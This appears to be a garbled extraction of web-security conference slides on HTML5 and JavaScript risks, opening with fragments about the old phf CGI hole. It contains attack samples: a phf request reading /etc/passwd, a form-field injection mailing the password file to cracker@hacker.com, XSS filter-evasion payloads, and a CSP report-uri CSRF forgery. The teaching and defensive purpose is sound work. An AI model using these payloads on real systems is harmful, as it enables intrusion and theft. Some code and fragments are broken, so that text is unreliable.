Potential Vulnerability in Java Verifier Reported

Netscape Responding Immediately to Inform Customers and Minimize Risk of Future Threats

/cgi-bin/phf vulnerability

---

# Paul Danckaert (pauld@lemur.org)

[For the actual program, read the source code and see the comments for more details.]

---

Even someone on #hack could figure out how to patch this simply zero out the

Any CGI script using escape shell arguments

This works on NCAS/Apache version 1.3

$root owns you. Now more than ever.

GET /cgi-bin/phf?Jserver=foo.bar.com@Acct%20/etc/passwd@0&Qalias=&Qname=foo

Accept: */*
Accept: application/x-wais-source
Accept: text/plain
Accept: text/html
Accept: www/mime
User-Agent: Lynx/2.3 BETA libwww/2.14
Referer: http://localhost/cgi-bin/phf

append data to the input and generate unexpected results. For example, a PERL script containing the following:

system(

"/usr/bin/sendmail -t %s < %s", $mailto_address < $input_file"
);

is designed to mail a copy of $input_file to the mail address specified in the $mailto_address variable. By calling system() with one argument, the program causes a separate shell to be forked. By copying and modifying the input to the form:

<INPUT TYPE="HIDDEN" NAME="mailto_address" VALUE="address@server.com;mail cracker@hacker.com" />etc/passwd"

we can exploit this weakness and obtain the password file from the server. ***
A Definition

**Ja·va·Script** | ˈjävəskript |

*invective.*

1 A vendor-neutral* cross-platform liability for generating asynchronous, event-driven browser bugs.

2 Interpreted language for exploiting string concatenation in HTML.

* mostly
let me = count(ways);

var Pwn2Own = $money

CVE-2012-4969 = ~12 lines of HTML
Subtle and Quick to \( \text{Anger} \)

- Programming traps
- Scope, blocks, & var
- Types & type coercion

```javascript
typeof null == "object";
typeof undefined == "undefined"
null == undefined;
null !== undefined;  // nope!
```

```javascript
(window[++[]][1] + ([++][++])[2] + ([++][++])[4] +
([++][++])[1] + ([++][++])[0])
)(9)
```
JavaScript Crypto

• Use TLS for channel security
  • Better yet, use HSTS and DNSSEC.

• No trusted execution environment in...
  • ...the current prototype-style language
  • ...an intercepted HTTP connection
  • ...an exploitable HTML injection vuln
JavaScript Crypto

- Math.random()
- window.crypto
  - Not standardized
- sjcl.random
  - Fortuna-like generator
  - Entropy estimator
  - Exceptions

```javascript
sjcl.random.addEntropy([x,y], 2, "mouse")
sjcl.random.addEntropy((new Date()).valueOf(), 2, "loadtime");
sjcl.random.addEntropy(ab, 1024, "crypto.getRandomValues"); // WebKit
```
JavaScript Crypto

• Minimize lifetime of plaintext password
  • Client-side PBKDF2
  • Challenge-response

• ...but possibly lose some security insights
  • Password composition, history
  • Patterns of brute force activity
<!doctype html>

1996

<!doctype html>
Infernal Browser Security

• Process separation

• Sandboxing plugins
  • HTML5 does away with plugins altogether

• XSS Auditors
  • Only for the simplest scenarios

• Phishing warnings
  • Primarily for known sites
  • Some behavioral patterns, e.g. URL authority abuse

• Auto-updating
The 20+ year-old vuln that refuses to die.

But JavaScript makes the situation better!

No, JavaScript makes the situation worse!

HTML5 to the rescue!?
Oh, No! XSS Is Worse!

http://web.site/vuln?foo=xss"...

<input type="text" name="foo" value="xss" autofocus onfocus=alert(9);"/>
XSS Blacklisting Is Worse

- New elements, new attributes
- Didn’t work in the first place
  - `<img src="">"onerror=alert(9)`
  - `<img src="\"a="">"onerror=alert(9)`
  - `<a href=""&<img&amp;/onclick=alert(9)>foo</a>`
  - `<script/<a>alert(9)</script>`
  - `<script/<a>alert(9)</script <a>foo</a>`
  - `<script%20<!–%20–>alert(9)</script>`
### Client-Side Validation

<table>
<thead>
<tr>
<th>Keyword</th>
<th>State</th>
<th>Data type</th>
</tr>
</thead>
<tbody>
<tr>
<td>hidden</td>
<td>Hidden</td>
<td>An arbitrary string</td>
</tr>
<tr>
<td>text</td>
<td>Text</td>
<td>Text with no line breaks</td>
</tr>
<tr>
<td>search</td>
<td>Search</td>
<td>Text with no line breaks</td>
</tr>
<tr>
<td>tel</td>
<td>Telephone</td>
<td>Text with no line breaks</td>
</tr>
<tr>
<td>url</td>
<td>URL</td>
<td>An absolute URL</td>
</tr>
<tr>
<td>email</td>
<td>E-mail</td>
<td>An e-mail address or list of e-mail addresses</td>
</tr>
<tr>
<td>password</td>
<td>Password</td>
<td>Text with no line breaks (sensitive information)</td>
</tr>
</tbody>
</table>

#### Data type details:

| datetime-local | Local Date and Time | A date and time (year, month, day, hour, minute, second, fraction of a second) with the time zone set to UTC |
| number         | Number              | A numerical value |
| range          | Range               | A numerical value, with the exact value is not important |
| color          | Color               | An sRGB color with 8-bit red, green, and blue components |
| checkbox       | Checkbox            | A set of zero or more values from a list of possible values |
| radio          | Radio Button        | An enumerated value |
| file           | File Upload         | Zero or more files each with a name, optionally a file name |
| submit         | Submit Button       | An enumerated value, with the selected value must be the last value selected and initiates form submission |
| image          | Image Button        | A coordinate, relative to a part, the extra semantic that it must be selected and initiates form submission |
Same Vulns, New Exploits

• Origin
• Referer
• X-Moz: prefetch
Improving SOP

• Granular access control
  • Whatever happened to least privilege?
• Make the <iframe> more useful for isolating Origins
  • seamless
  • sandbox
<table>
<thead>
<tr>
<th>sandbox</th>
<th>JavaScript not executed</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;iframe src=&quot;infected.html&quot;&gt;</code></td>
<td></td>
</tr>
<tr>
<td>(empty)</td>
<td></td>
</tr>
<tr>
<td>sandbox=&quot;allow-scripts&quot;</td>
<td>JavaScript executed</td>
</tr>
<tr>
<td><code>document.cookie</code></td>
<td></td>
</tr>
<tr>
<td><code>localStorage()</code></td>
<td></td>
</tr>
<tr>
<td><code>sessionStorage()</code></td>
<td></td>
</tr>
<tr>
<td><code>text/html-sandboxed</code></td>
<td>Waiting for browser support</td>
</tr>
</tbody>
</table>
On the Other Hand...

...if you’re relying on JavaScript frame-busting instead of X-Frame-Options: DENY.

```javascript
function killFrames()
{
    if (top.location != location)
    {
        if (document.referrer)
        {
            var a = get_hostname_from_url(document.referrer);
            var b = a.length;
            if (b == 8 && a != "web.site")
            {
                top.location.replace(document.location.href);
            }
            else if (b != 8 && a.substring(a.length-9) != ".web.site")
            {
                top.location.replace(document.location.href);
            }
        }
        if (top.frames.length != 0)
        {
            top.location = self.document.location;
        }
    }
    function get_hostname_from_url(a)
    {
        return a.match(/://\/\/(.\^[^/?]+)\))/)[1];
    }
    killFrames();
}
```
Content Security Policy

- Granular access for retrieving resources
- Header only
  - Probably requires code changes, or unsafe-eval
  - (http-equiv has lower precedence)
- Waiting for universal implementation
  - X-Content-Security-Policy
  - X-WebKit-CSP
- http://www.w3.org/TR/CSP/
Selective Resource Control

\[ \text{X-CSP}: \text{default-src 'self'; frame-src 'none'} \]

```html
<!doctype html>
<html>
<body>
  <iframe src="./infected.html"></iframe>
</body>
</html>
```
Defeat Exploits, Not Vulns

```
X-CSP: default-src 'self'

<input type="text" name="q" value="foo"
    autofocus onfocus=alert(9)"/>
```

```
X-CSP: default-src 'self' 'unsafe-inline'

<input type="text" name="q" value="foo"
    autofocus onfocus=alert(9)"/>
```
<!DOCTYPE html>
<html>
<head>
<script src="jquery-1.8.2.min.js"></script>
<script>
$(document).ready(function() {
    var x = (window.location.hash.match(/\^#(\[^/\].+)$/) || []).1;
    var w = $('a[name="" + x + '"", [id="" + x + '""]');
});
</script>
</head>
<body>
    <div id="main">foo</div>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<script src="jquery-1.8.2.min.js"></script>
<script src="main.js"></script>
</head>
<body>
<div id="main">foo</div>
</body>
</html>

$(document).ready(function() {
    var x = (window.location.hash.match(/^(^[^\/]\.).$/ || [])[1];
    var w = $('a[name="" + x + "]", [id="" + x + "]');
});
Decouple HTML & JS

- Avoid “inline” event handler attributes

  ```javascript
  $('#main').attr('onclick', 'alert(9)');
  ```

- Use event managers

  ```javascript
  $('#main').bind("click", function(e) { alert(9) });
  $('#main').click(function(e) { alert(9) });
  $('#main').on("click", function(e) { alert(9) });
  ```
On the Other Hand...

...an awesome XSS DoS payload if injectable into a `<head>` section.

```html
<meta http-equiv="X-WebKit-CSP" content="default-src 'none'"/>
```
On the Other Hand...

...another way to forge POST method for CSRF.

```html
<!doctype html><html><head>
<meta http-equiv="X-WebKit-CSP" content="img-src 'none'; report-uri 'https://csrf.target/page?a=1&b=2&c=3'"> 
</head><body>
<img alt="" src="whatever"> 
</body></html>
```
Partial CSRF Influence

POST /page?a=1&b=2&c=3 HTTP/1.1
Host: csrf.target
User-Agent: Mozilla/5.0 ...
Content-Length: 116
Accept: */*
Origin: null
Content-Type: application/x-www-form-urlencoded
Referer: http://web.site/HWA/ch3/csrf.html
Cookie: sessid=12345
Connection: keep-alive

CORS

• Defines read-access trust of another Origin
  • Expresses trust, not security
  • But still contributes to secure design

• Principle of Least Privilege
  • Beware of Access-Control-Allow-Origin: *
  • Short Access-Control-Max-Age
  • Minimal Access-Control-Allow-{*Methods | Headers*}

• Verify the Origin
On the Server

• Origin, Referer, X-Forwarded-For

• WebSockets
  • With support for legacy, draft protocol versions (!?)

• Node.js
  • Implementing a web server, or a service?
Data = “.”

[22:49:57][*] BeEF server started (press control+c to stop)

/opt/local/lib/ruby1.9/gems/1.9.1/gems/json-1.7.5/lib/json/common.rb:155:in `initialize': A JSON text must at least contain two octets! (JSON::ParserError)
Capability, Security, Privacy*

“In a world with one eye on privacy, the blind browser is king.”

- AppCache
- Battery Status
- Geolocation
- Web Storage
- WebGL
- WebPerf APIs
- Browser Fingerprinting
- Device Fingerprinting
- Usage Statistics
- User Tracking

* choose two (one?)
Privacy

- Implementation vs. design
  - Specs that acknowledge areas of concern
- Browser Fingerprinting
- Inference-based attacks
  - Timing, cache
- Data exposure
  - Web Storage API
“And what does it say now?” asked Arthur.
“Mostly harmless,” admitted Ford with a slightly embarrassed cough.
JavaScript Will Improve

• Libraries driving good design patterns

• Steps towards a trusted environment
  • Freeze & Seal an Object
  • Object.hasOwnProperty()
  • Modular libraries
  • toStaticHtml()
Mistakes Will Happen

• Origin is an identity hint, not an access control attribute
  • The return of X-Forwarded-For
• JSON serializes, not sanitizes, data
• Avoid string concatenation
  • Review, refactor, refine
Security from Design

- **Strong solutions**
  - SQL injection -- prepared statements
  - Clickjacking -- X-Frame-Options

- **Mitigating solutions**
  - HTML injection -- Content Security Policy
  - Mixed-Origin content -- CORS, CSP, `<iframe>` sandbox
  - Sniffing -- HSTS

- **Implementation-specific solutions**
  - CSRF -- hmm...
Trends to Discourage

• “Legacy” support of draft protocol versions
  - WebSockets, CSP iterations

• Storing personal data in the browser
  - One XSS away (or malware, or...)

• Ever-changing specs...
  - At least, those that lead us back to quirks

• More plugins
Trends to Encourage

• Compartmentalized plugins
  • Per domain, per origin

• Enable SOP to be more granular

• Enable mixed-origin content to be more secure

• Security from design
  • Better than ad-hoc implementation
Code Like It’s Not 1999

• Encourage users to update browsers
  • Disable plugins, become secure

• Design web apps for data security
  • Design web browsers for data privacy

• Adopt HTML5 security features
  • ...to protect users with HTML5-enabled browsers
Thank You!
Questions?

• @CodexWebSecurum
• http://deadliestwebattacks.com
• *Hacking Web Apps*
Here, There, Everywhere

- asm.js [ http://asmjs.org ]
- jQuery [ http://jquery.com ]
- sjcl.js [ http://crypto.stanford.edu/sjcl/ ]
- BeEF [ http://beefproject.com ]
- Screen Shots [ https://github.com/niklasvh/html2canvas ]